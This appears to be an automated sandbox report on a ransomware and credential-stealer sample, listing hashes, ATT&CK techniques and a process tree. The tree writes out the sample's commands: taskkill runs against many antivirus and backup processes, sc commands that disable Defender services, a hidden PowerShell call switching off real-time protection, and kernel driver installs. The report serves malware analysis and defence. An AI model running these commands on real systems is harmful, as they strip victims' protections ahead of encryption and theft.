e4dbe8521ef8a770f00c4813698bafbd106bce8a8fde40f2556ee87383a082de

Analysis

max time kernel
21s
max time network
73s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/10/2026, 19:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
maytero emu.exe
Size 5.7MB
Sample261029-xpzvtasvbs
SHA256 e4dbe8521ef8a770f00c4813698bafbd106bce8a8fde40f2556ee87383a082de
MD5 9c07fe314e0f5378a7fb96be0f1ce72d
SHA1 c0d0de6e852868df0c98db89665bdc914a5e723f
SHA512 5fc13f740cbbedf1d44ac5e07d3298677f006fff40b5e0abb78133719670b7c8558ff692fd300404a2f82d4719f829f19e4548a101fc8d8cbb1476c69b291f0f
SSDEEP 49152:a9O1PUjrFCGha6Z0xdb0RChAzLlfrFgV6VBexIVcILT0HLbo8D1D7GoCkrUXFG12:aSU3FtxCzwR3rWV4exIx0uDFX5hH+JW
TLSH
T193566C03F6A641EDC16AC074871AA233FB72B85907217AEB56D08A353F62FD05B7E714
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery evasion execution impact persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://api.ipify.org

Signatures

Deletes NTFS Change Journal 2 TTPs 24 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1532	fsutil.exe
4400	fsutil.exe
6604	fsutil.exe
2592	fsutil.exe
1928	fsutil.exe
1272	fsutil.exe
3272	fsutil.exe
6408	fsutil.exe
4896	fsutil.exe
5716	fsutil.exe
6888	fsutil.exe
5712	fsutil.exe
6500	fsutil.exe
2228	fsutil.exe
6724	fsutil.exe
3928	fsutil.exe
7052	fsutil.exe
6740	fsutil.exe
7100	fsutil.exe
4360	fsutil.exe
4140	fsutil.exe
1220	fsutil.exe
6244	fsutil.exe
7152	fsutil.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5064	bcdedit.exe
200	bcdedit.exe

Renames multiple (513) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
2456	powershell.exe
6100	powershell.exe
4108	powershell.exe
7016	powershell.exe
2336	powershell.exe
2088	powershell.exe
1248	powershell.exe
3616	powershell.exe
6924	powershell.exe
4560	powershell.exe
2840	powershell.exe
2948	powershell.exe
3108	powershell.exe
3024	powershell.exe
2408	powershell.exe
2840	powershell.exe

Deletes System State backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2844	wbadmin.exe

Deletes system backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4128	wbadmin.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
2	api.ipify.org
3	api.ipify.org

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe

Launches sc.exe 26 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5360	sc.exe
5880	sc.exe
1336	sc.exe
5904	sc.exe
2532	sc.exe
3028	sc.exe
5884	sc.exe
1980	sc.exe
1928	sc.exe
5080	sc.exe
2120	sc.exe
5500	sc.exe
5948	sc.exe
4600	sc.exe
3892	sc.exe
4772	sc.exe
5096	sc.exe
5580	sc.exe
848	sc.exe
6112	sc.exe
936	sc.exe
5368	sc.exe
5556	sc.exe
3052	sc.exe
268	sc.exe
5860	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5500	cmd.exe
5808	cmd.exe
2016	cmd.exe
1100	cmd.exe
2468	cmd.exe
6436	cmd.exe
4748	cmd.exe
6816	cmd.exe
6880	cmd.exe
2852	cmd.exe
6548	cmd.exe
5368	cmd.exe
6876	cmd.exe
2880	cmd.exe
4772	cmd.exe
5904	cmd.exe
1960	cmd.exe
2360	cmd.exe
7068	cmd.exe
7036	cmd.exe
848	cmd.exe
4084	cmd.exe
6200	cmd.exe
6724	cmd.exe
4564	cmd.exe
6168	cmd.exe
1528	cmd.exe
5436	cmd.exe
3524	cmd.exe
3656	cmd.exe
1832	cmd.exe
1552	cmd.exe
2064	cmd.exe
4684	cmd.exe
6968	cmd.exe
5684	cmd.exe
1668	cmd.exe
2344	cmd.exe
6164	cmd.exe
6732	cmd.exe
5960	cmd.exe
4672	cmd.exe
1940	cmd.exe
6588	cmd.exe
1708	cmd.exe
2204	cmd.exe
6220	cmd.exe
3504	cmd.exe
4484	cmd.exe
1096	cmd.exe
4876	cmd.exe
1460	cmd.exe
5720	cmd.exe
5372	cmd.exe
464	cmd.exe
4816	cmd.exe
1644	cmd.exe
1908	cmd.exe
7072	cmd.exe
4580	cmd.exe
3148	cmd.exe
6492	cmd.exe
6724	cmd.exe
5004	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	maytero emu.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	maytero emu.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6724	cmd.exe
2360	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3432	netsh.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	maytero emu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	maytero emu.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4636	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3764	vssadmin.exe

Kills process with taskkill 26 IoCs

defense_evasion

pid	Process
1648	taskkill.exe
572	taskkill.exe
2360	taskkill.exe
2180	taskkill.exe
3068	taskkill.exe
1048	taskkill.exe
5856	taskkill.exe
2300	taskkill.exe
960	taskkill.exe
2148	taskkill.exe
2772	taskkill.exe
1360	taskkill.exe
6056	taskkill.exe
4324	taskkill.exe
3624	taskkill.exe
2488	taskkill.exe
2776	taskkill.exe
3432	taskkill.exe
2988	taskkill.exe
4940	taskkill.exe
5516	taskkill.exe
4156	taskkill.exe
1632	taskkill.exe
5104	taskkill.exe
5008	taskkill.exe
4896	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2856	reg.exe
6468	reg.exe
5772	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2360	PING.EXE

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
2408	powershell.exe
2408	powershell.exe
4600	powershell.exe
4600	powershell.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
3800	maytero emu.exe
4560	powershell.exe
4560	powershell.exe
4108	powershell.exe
4108	powershell.exe
2840	powershell.exe
2840	powershell.exe
2064	WMIC.exe
2064	WMIC.exe
2064	WMIC.exe
2064	WMIC.exe
2948	powershell.exe
2948	powershell.exe
2948	powershell.exe
7016	powershell.exe
7016	powershell.exe
7016	powershell.exe
3108	powershell.exe
3108	powershell.exe
3024	powershell.exe
3024	powershell.exe
2336	powershell.exe
2336	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	960	taskkill.exe
Token: SeDebugPrivilege	2148	taskkill.exe
Token: SeDebugPrivilege	4156	taskkill.exe
Token: SeDebugPrivilege	2772	taskkill.exe
Token: SeDebugPrivilege	1360	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	5104	taskkill.exe
Token: SeDebugPrivilege	572	taskkill.exe
Token: SeDebugPrivilege	2360	taskkill.exe
Token: SeDebugPrivilege	2180	taskkill.exe
Token: SeDebugPrivilege	3068	taskkill.exe
Token: SeDebugPrivilege	5008	taskkill.exe
Token: SeDebugPrivilege	1048	taskkill.exe
Token: SeDebugPrivilege	2776	taskkill.exe
Token: SeDebugPrivilege	6056	taskkill.exe
Token: SeDebugPrivilege	5856	taskkill.exe
Token: SeDebugPrivilege	4896	taskkill.exe
Token: SeDebugPrivilege	2300	taskkill.exe
Token: SeDebugPrivilege	4324	taskkill.exe
Token: SeDebugPrivilege	1648	taskkill.exe
Token: SeDebugPrivilege	3624	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	3432	taskkill.exe
Token: SeDebugPrivilege	2988	taskkill.exe
Token: SeDebugPrivilege	4940	taskkill.exe
Token: SeDebugPrivilege	5516	taskkill.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeIncreaseQuotaPrivilege	4560	powershell.exe
Token: SeSecurityPrivilege	4560	powershell.exe
Token: SeTakeOwnershipPrivilege	4560	powershell.exe
Token: SeLoadDriverPrivilege	4560	powershell.exe
Token: SeSystemProfilePrivilege	4560	powershell.exe
Token: SeSystemtimePrivilege	4560	powershell.exe
Token: SeProfSingleProcessPrivilege	4560	powershell.exe
Token: SeIncBasePriorityPrivilege	4560	powershell.exe
Token: SeCreatePagefilePrivilege	4560	powershell.exe
Token: SeBackupPrivilege	4560	powershell.exe
Token: SeRestorePrivilege	4560	powershell.exe
Token: SeShutdownPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeSystemEnvironmentPrivilege	4560	powershell.exe
Token: SeRemoteShutdownPrivilege	4560	powershell.exe
Token: SeUndockPrivilege	4560	powershell.exe
Token: SeManageVolumePrivilege	4560	powershell.exe
Token: 33	4560	powershell.exe
Token: 34	4560	powershell.exe
Token: 35	4560	powershell.exe
Token: 36	4560	powershell.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeIncreaseQuotaPrivilege	4108	powershell.exe
Token: SeSecurityPrivilege	4108	powershell.exe
Token: SeTakeOwnershipPrivilege	4108	powershell.exe
Token: SeLoadDriverPrivilege	4108	powershell.exe
Token: SeSystemProfilePrivilege	4108	powershell.exe
Token: SeSystemtimePrivilege	4108	powershell.exe
Token: SeProfSingleProcessPrivilege	4108	powershell.exe
Token: SeIncBasePriorityPrivilege	4108	powershell.exe
Token: SeCreatePagefilePrivilege	4108	powershell.exe
Token: SeBackupPrivilege	4108	powershell.exe
Token: SeRestorePrivilege	4108	powershell.exe
Token: SeShutdownPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	4108	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 3432	3800	maytero emu.exe	89
PID 3800 wrote to memory of 2408	3800	maytero emu.exe	90
PID 3800 wrote to memory of 4600	3800	maytero emu.exe	172
PID 3800 wrote to memory of 4748	3800	maytero emu.exe	95
PID 3800 wrote to memory of 3524	3800	maytero emu.exe	97
PID 3524 wrote to memory of 5096	3524	cmd.exe	99
PID 3800 wrote to memory of 5004	3800	maytero emu.exe	100
PID 5004 wrote to memory of 2532	5004	cmd.exe	102
PID 3800 wrote to memory of 3656	3800	maytero emu.exe	103
PID 3656 wrote to memory of 5556	3656	cmd.exe	105
PID 3800 wrote to memory of 3728	3800	maytero emu.exe	106
PID 3728 wrote to memory of 3052	3728	cmd.exe	108
PID 3800 wrote to memory of 960	3800	maytero emu.exe	183
PID 3800 wrote to memory of 2148	3800	maytero emu.exe	112
PID 3800 wrote to memory of 4156	3800	maytero emu.exe	114
PID 3800 wrote to memory of 2772	3800	maytero emu.exe	116
PID 3800 wrote to memory of 1360	3800	maytero emu.exe	118
PID 3800 wrote to memory of 1632	3800	maytero emu.exe	120
PID 3800 wrote to memory of 5104	3800	maytero emu.exe	122
PID 3800 wrote to memory of 572	3800	maytero emu.exe	124
PID 3800 wrote to memory of 2360	3800	maytero emu.exe	288
PID 3800 wrote to memory of 2180	3800	maytero emu.exe	128
PID 3800 wrote to memory of 3068	3800	maytero emu.exe	130
PID 3800 wrote to memory of 5008	3800	maytero emu.exe	132
PID 3800 wrote to memory of 1048	3800	maytero emu.exe	326
PID 3800 wrote to memory of 2776	3800	maytero emu.exe	136
PID 3800 wrote to memory of 6056	3800	maytero emu.exe	138
PID 3800 wrote to memory of 5856	3800	maytero emu.exe	140
PID 3800 wrote to memory of 4896	3800	maytero emu.exe	356
PID 3800 wrote to memory of 2300	3800	maytero emu.exe	144
PID 3800 wrote to memory of 4324	3800	maytero emu.exe	146
PID 3800 wrote to memory of 1648	3800	maytero emu.exe	255
PID 3800 wrote to memory of 3624	3800	maytero emu.exe	297
PID 3800 wrote to memory of 2488	3800	maytero emu.exe	152
PID 3800 wrote to memory of 3432	3800	maytero emu.exe	154
PID 3800 wrote to memory of 2988	3800	maytero emu.exe	305
PID 3800 wrote to memory of 4940	3800	maytero emu.exe	312
PID 3800 wrote to memory of 5516	3800	maytero emu.exe	160
PID 3800 wrote to memory of 268	3800	maytero emu.exe	162
PID 3800 wrote to memory of 5360	3800	maytero emu.exe	164
PID 3800 wrote to memory of 5860	3800	maytero emu.exe	166
PID 3800 wrote to memory of 5580	3800	maytero emu.exe	168
PID 3800 wrote to memory of 5948	3800	maytero emu.exe	170
PID 3800 wrote to memory of 4600	3800	maytero emu.exe	172
PID 3800 wrote to memory of 5880	3800	maytero emu.exe	174
PID 3800 wrote to memory of 1336	3800	maytero emu.exe	176
PID 3800 wrote to memory of 3028	3800	maytero emu.exe	402
PID 3800 wrote to memory of 5884	3800	maytero emu.exe	180
PID 3800 wrote to memory of 4560	3800	maytero emu.exe	182
PID 3800 wrote to memory of 4108	3800	maytero emu.exe	185
PID 3800 wrote to memory of 2840	3800	maytero emu.exe	400
PID 3800 wrote to memory of 1644	3800	maytero emu.exe	392
PID 3800 wrote to memory of 5592	3800	maytero emu.exe	191
PID 3800 wrote to memory of 3040	3800	maytero emu.exe	193
PID 3800 wrote to memory of 5904	3800	maytero emu.exe	348
PID 3800 wrote to memory of 848	3800	maytero emu.exe	280
PID 3800 wrote to memory of 3892	3800	maytero emu.exe	199
PID 3800 wrote to memory of 1980	3800	maytero emu.exe	201
PID 3800 wrote to memory of 6112	3800	maytero emu.exe	203
PID 3800 wrote to memory of 1928	3800	maytero emu.exe	416
PID 3800 wrote to memory of 5080	3800	maytero emu.exe	207
PID 3800 wrote to memory of 936	3800	maytero emu.exe	209
PID 3800 wrote to memory of 2120	3800	maytero emu.exe	211
PID 3800 wrote to memory of 5500	3800	maytero emu.exe	268

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\maytero emu.exe
"C:\Users\Admin\AppData\Local\Temp\maytero emu.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Windows\system32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NoLogo -Command "(New-Object Net.WebClient).DownloadString('https://api.ipify.org')"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4600
- C:\Windows\system32\cmd.exe
  "cmd" /C ver
  2⤵
  - Executes a command shell one-liner
  PID:4748
- C:\Windows\system32\cmd.exe
  "cmd" /C "sc create WasysCtrl type= kernel binPath= \"C:\Users\Admin\AppData\Local\Temp\wdf156310c8.sys\""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Windows\system32\sc.exe
    sc create WasysCtrl type= kernel binPath= \"C:\Users\Admin\AppData\Local\Temp\wdf156310c8.sys\"
    3⤵
    - Launches sc.exe
    PID:5096
- C:\Windows\system32\cmd.exe
  "cmd" /C "sc start WasysCtrl"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\sc.exe
    sc start WasysCtrl
    3⤵
    - Launches sc.exe
    PID:2532
- C:\Windows\system32\cmd.exe
  "cmd" /C "sc create MonProcCtrl type= kernel binPath= \"C:\Users\Admin\AppData\Local\Temp\mpc1fd9b598.sys\""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\system32\sc.exe
    sc create MonProcCtrl type= kernel binPath= \"C:\Users\Admin\AppData\Local\Temp\mpc1fd9b598.sys\"
    3⤵
    - Launches sc.exe
    PID:5556
- C:\Windows\system32\cmd.exe
  "cmd" /C "sc start MonProcCtrl"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\system32\sc.exe
    sc start MonProcCtrl
    3⤵
    - Launches sc.exe
    PID:3052
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM MsMpEng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:960
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM MsSense.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2148
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM SecurityHealthService.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4156
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM SecurityHealthSystray.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM avp.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1360
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM avgnt.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1632
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM avguard.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM AvastSvc.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM AvastUI.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM afwServ.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2180
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM egui.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM ekrn.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM bdagent.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM vsserv.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM mcshield.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:6056
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM NortonSecurity.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5856
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM mbam.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4896
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM mbamservice.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM CylanceSvc.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4324
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM cb.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM SentinelAgent.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3624
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM CSFalconService.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM veeam.backup.shell.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3432
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM SQLWriter.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2988
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM sqlservr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4940
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM oracle.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5516
- C:\Windows\system32\sc.exe
  "sc" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:268
- C:\Windows\system32\sc.exe
  "sc" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5360
- C:\Windows\system32\sc.exe
  "sc" stop WdNisSvc
  2⤵
  - Launches sc.exe
  PID:5860
- C:\Windows\system32\sc.exe
  "sc" config WdNisSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5580
- C:\Windows\system32\sc.exe
  "sc" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5948
- C:\Windows\system32\sc.exe
  "sc" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4600
- C:\Windows\system32\sc.exe
  "sc" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5880
- C:\Windows\system32\sc.exe
  "sc" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1336
- C:\Windows\system32\sc.exe
  "sc" stop Sense
  2⤵
  - Launches sc.exe
  PID:3028
- C:\Windows\system32\sc.exe
  "sc" config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:5884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
